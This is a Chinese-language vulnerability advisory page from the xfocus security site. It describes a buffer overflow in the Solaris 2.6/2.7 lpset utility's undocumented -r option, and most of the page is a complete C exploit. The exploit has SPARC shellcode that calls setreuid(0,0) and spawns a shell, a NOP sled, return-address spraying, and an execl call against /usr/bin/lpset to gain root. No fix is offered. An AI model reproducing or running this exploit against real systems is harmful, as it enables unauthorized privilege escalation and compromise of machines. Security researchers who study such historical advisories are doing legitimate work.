xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

lpset FOR Solaris Sparc 2.6_7溢出代码


发布时间:2000-04-26
更新时间:2000-04-26
严重程度:
威胁程度:远程管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Solaris Sparc 2.6 2.7
详细描述
Solaris 7lpset程序在处理-r选项的时候存在缓冲溢出, -r选项没有文档公布,所以没有被很广泛的使用,但传递一精心编制包含SHELL代码的参数,将可能以ROOT身份来运行任意命令。 下面的程序是FOR Solaris sparc的代码.

测试代码
#include <unistd.h>
#include <stdio.h>

#define BSIZE 18001
#define OFFSET 20112
#define START 700
#define END 1200

#define NOP 0xac15a16e

#define EXSTART 116

char sparc_shellcode[] =

/* setreuid(0,0) */
"\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"

/* other stuff */
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

u_long get_sp() { asm("mov %sp, %i0"); }

main(int argc, char *argv[]) {
    int i,ofs=OFFSET,start=START,end=END;
    u_long ret, *ulp;
    char *buf;

    if (argc > 1) ofs=atoi(argv[1])+8;

    if (!(buf = (char *) malloc(BSIZE+2))) {
        fprintf(stderr, "out of memory\n");
        exit(1);
    }

    ret = get_sp() - ofs;

    for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
        *ulp = NOP;

    for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;

    for (i = 0; i < strlen(sparc_shellcode); i++)
        buf[EXSTART+i] = sparc_shellcode[i];

    buf[5000]='=';

    buf[18000]=0;

    fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n",
        ret, strlen(buf)-2, ofs, ofs);

    execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0);

    perror("execl");
}

解决方案
暂无

相关信息